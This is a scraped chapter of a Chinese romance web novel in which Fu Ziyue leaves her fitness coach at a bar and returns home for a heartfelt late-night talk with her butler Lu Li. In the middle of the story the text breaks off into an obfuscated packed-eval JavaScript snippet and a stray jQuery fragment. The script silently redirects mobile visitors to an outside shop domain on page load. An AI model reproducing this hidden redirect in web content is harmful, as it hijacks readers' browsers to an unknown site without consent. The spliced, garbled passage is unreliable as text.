文趣网 > 都市小说 > 坠入深渊前 > 10. 夜谈
    凌景洲少见地愣怔一下,笑道:“你当然可以这么想,不如说,我很乐意你这么想。”

    就连凌景洲都无法看透别人的真实想法,符梓乐忽然觉得,也许自己也没有看透陆离的真实想法。

    该怎么想符梓乐不知道,她只知道现在所有的心烦意乱全部来自陆离,不管凌景洲和她说什么,她最终都能想到陆离身上。

    “是啊,没有人能看透别人的想法。”她道,“你说有没有可能,他有一些话没能说出口,而恰好我又没给他说的机会。”

    凌景洲神色有些不悦,道:“这里只有你我二人,相当于我们在约会了,你总是提起那个坏人心情的人干什么?”

    符梓乐道:“约会?”

    凌景洲道:“两个人单独相处,就是在约会呀,小符。”

    他故意沉下嗓音,一手托着脸颊,酒吧柔和的顶光打下来,分明的光影衬得他下颌线愈发锋利,他坐在长凳上,上半身慵懒地靠在吧台边,显得更加性感。

    符梓乐道:“可我们并没有‘约定’。”

    凌景洲道:“那更能说明我们之间缘分不浅,这样都能碰到。”

    符梓乐:“缘分……”

    她本不相信世上有“缘分”这一说,所有相遇的人,不过都是偶然,偶然碰到了而已。

    有些人可能留下一二印象,有些人则只是擦肩而过。

    她忽地想到,双选会那天,她钻进人群,明明只是众多雇主中的一个,可陆离的眼神似乎早早就选中了她。

    蔚蓝色的目光短暂停留又离开。

    所以他的到来,是偶然,是缘分,还是命中注定?

    符梓乐平时并不会去多想这些事,两杯菠萝汁下肚,真如凌景洲所言,烦杂涌上心头。

    凌景洲看出她的心思不在自己身上,只好无奈顺着她的话题说下去:“对啊,缘分,就像你和陆管家一样,若是你们之间无缘,他又怎么会到你家来做家庭助理?”

    符梓乐道:“我觉得不是缘分……”

    她的话渐渐停止,凌景洲接道:“不是缘分是什么?”

    符梓乐道:“我也说不上来,我觉得很奇怪。”

    凌景洲道:“哪里奇怪?”

    符梓乐道:“我不会对一个人如此在意,至少不会对一个刚来我家两周的管家这样。可是我现在却因为他而困惑。”

    凌景洲道:“一个管家而已,有什么好在意的,能用就用,不用开了就行,因为他感到烦恼,实在不值得。”

    符梓乐脸色冷静下来,他从健身房开始就这样说,这些话语有意无意地改变着符梓乐内心的想法。

    凌景洲继续道:“我坐在你面前,你却总是和我讨论这个木头一样的管家,真是太叫人伤心了。”

    “确实……”符梓乐道,“我出来也是散心的,没想到根本没办法不想这些事。”

    *

    两个人又聊了些别的,在吧台聊到夜深,符梓乐看了一眼时间,低头点划着桌上的虚拟投影,准备结账。

    凌景洲道:“你还要回去吗?”

    结账速度很快,符梓乐是这里的会员,钱直接从会员卡里扣掉了。

    “不回去去哪里?”她道。

    凌景洲歪嘴一笑:“回去还得看那张木头脸,不更来气吗?”

    符梓乐想了想,陆离现在在家做什么呢。

    她给他放了一天假,但以陆离的个性,应该不会真的去休息。

    凌景洲道:“我家就在这附近,明天刚好周末,不如就别回去了。”

    “况且,你的脚,”他道,“需要专业的人来护理,提醒你哪些该做哪些不该做,今晚你是没感觉,明天有你痛的。”

    符梓乐道:“你家就在这附近吗?”

    凌景洲道:“是啊,我们健身房线下店也在这一带,以前为了方便就租在这附近了,只不过后来我只做私教,不常去了。”

    符梓乐道:“哦,你还是租房子,自己一个人住吗?”

    凌景洲道:“是……所以每天晚上待在家有些寂寞,就出来逛逛,怎么样,要不要去我家看……”

    “等一下。”

    符梓乐显然只是嘴上问问,并没有要详细了解他的意思,她直接打断他。

    “不好意思,凌教练,我上个卫生间。”

    凌景洲看出她并没有受邀的意思,脸色有些窘迫,却也只能看着她的背影消失在转角处。

    酒吧的卫生间做得十分精致,每个隔间都有单独的便池、洗手池和镜子。

    符梓乐用冷水抹了把脸。

    抬起手腕,才发现终端上有几条未读消息。

    【陆离:符小姐,您的脚不适宜长久活动,不及时冰敷明天可能会更严重。】

    【陆离:符小姐,已经晚上十点了,如果您不介意,请同步您的位置给我,我随时可以出去接您。】

    【陆离:符小姐,请原谅我,我今后不会再有这样失职的行为,如果您看到消息,请回复我,我想确保您的安全。】

    【此消息已撤回】

    她开了免打扰,陆离的消息一句也没有提醒。

    【符:在家等我。】

    就在刚刚,她忽然想通了。

    脸上的水渍干了,她抹了抹脸,回到吧台。

    “怎么样?”凌景洲向来自信的语气此时也有几分不确定。

    符梓乐道:“我得回家,凌教练。”

    凌景洲道:“好吧,看来我是拦不住你了。”

    符梓乐临走,忽然转过身:“多谢你今晚的陪伴。”

    凌景洲道:“没事,期待下周见面了。”

    符梓乐道:“如果还能见的话。”

    她留下一句话走远,凌景洲捏紧手里的酒杯,叹了口气。

    *

    接近十二点,穹顶之下依旧热闹如常,符梓乐关上漂流车的门,打开了自己家的门。

    家中十分安静,唯有一盏柔和的小灯亮着,似乎在等她回来。

    她连鞋都没换,径直走到紧闭的管家房门前,抬手敲了敲门。

    “符小姐,请稍等一下……!”

    里面传来一个有些慌张的声音。

    “陆离,不用换衣服了,你现在就开门。”

    里面收拾东西的声音停了下来,不久,门缓缓打开了。

    符梓乐抬头,陆离身着松快的家居服,莹白的头发披散在肩头,一点也没有平日里管家打扮的精致感。

    但却……让人更加亲近。

    他双眼发红,不知是用眼过度,还是在偷偷流泪?

    “抱歉,符小姐……”

    他声音也有些哑。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526825|203549||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>符梓乐倒是穿戴齐整,身上还带着外面的夜色的味道,看他这幅样子,脱去了高级助理的专业,更像个真实的人站在她面前。

    符梓乐什么话都没说,先向他鞠了一躬。

    陆离一惊,连忙伸手扶她,但手指又恰到好处地让开,不敢碰到她。

    “陆离,”她起身道,“对不起,有些话我一定要今晚和你讲,晚一刻都不行,我知道你我现在都有情绪,但绝不能带着情绪过夜。”

    陆离僵在原地,不知该如何回应。

    符梓乐伸手指了一下:“我可以……进去吗?”

    陆离没有及时回应,他身体未动,下意识有些抗拒符梓乐进入他的空间,虽然这是符梓乐的家。

    而符梓乐也道:“你完全可以拒绝我,我们去沙发那边谈也可以。”

    “不,”他终于开口,“符小姐,请进。”

    屋内并未开灯,同样也是一盏小灯亮在床头。

    光线昏暗,她看不清陆离的表情。

    “我想先问问你,你对凌景洲的态度为什么会有不同?”符梓乐道。

    “你讲实话,我绝不会因为你的答案对你有什么偏见,我只是想、只是想听听你说的话。”

    她想明白了,陆离并不是累了,工作出现失误了,而是因为他也是“人”,不是机器,人是复杂的,是人就会有情绪、有温度。

    他那样做,一定有他的原因,而符梓乐二话不说把他定为“疲惫”、“情绪挂脸”,何尝不像自己儿时的母亲?

    从小到大,陈言从未深究过符梓乐喜怒哀乐的原因,只是觉得一个小孩哪来那么多情绪。

    陈言只想接纳她的聪明和开朗,不愿意接纳她成长中的困惑和烦恼。

    以至于她从来不会表达自己的难处,所有困难理所应当一人解决。

    长大后,遇到难以一个人解决的事,便剩下逃避。

    但现在,她想倾听。

    不论面前这个人与自己是否亲近,她想做出改变,至少,从她这里开始改变。

    四处寂静,陆离张了张嘴,似乎下定很大的决心,措辞在口中润色几个来回,才开口道。

    “从凌教练的主动行为分析,他并没有什么过错……而是我,我对他展露了太多的个人情绪,这些都是我做家庭助理时不应该出现的。”

    他的声音到这里停止,符梓乐了然:“你对他的个人情绪,我不会追问。”

    陆离松了口气。

    她接着道:“我现在明白,是我太过强势,没有给你解释的机会,就从我的主观判断给你扣了一顶帽子,从而让你我都陷入一个错误的低气压中。”

    “更可笑的是,我所谓的主观判断,竟有一半受到别人话语的影响。”

    她坐在书桌旁的座椅上,低着头弓着背,身影单薄。

    陆离从未看错她,这个对待工作十分认真的人,对待身边的人也同样认真。

    他心中萌出一种冲动,他太想俯身上去抱一抱她,宽慰她说不是你的错,但是他不敢。

    陆离坐在床上,蔚蓝的眼睛翻涌着千丝万缕的情感,倒映出符梓乐的身影,像温柔的海水,包裹着她。

    她们本可以只是雇主和雇员的关系,一个负责工作赚钱的主人,一个管理家务事的助理,此时却像家人一般相对而坐,促膝长谈。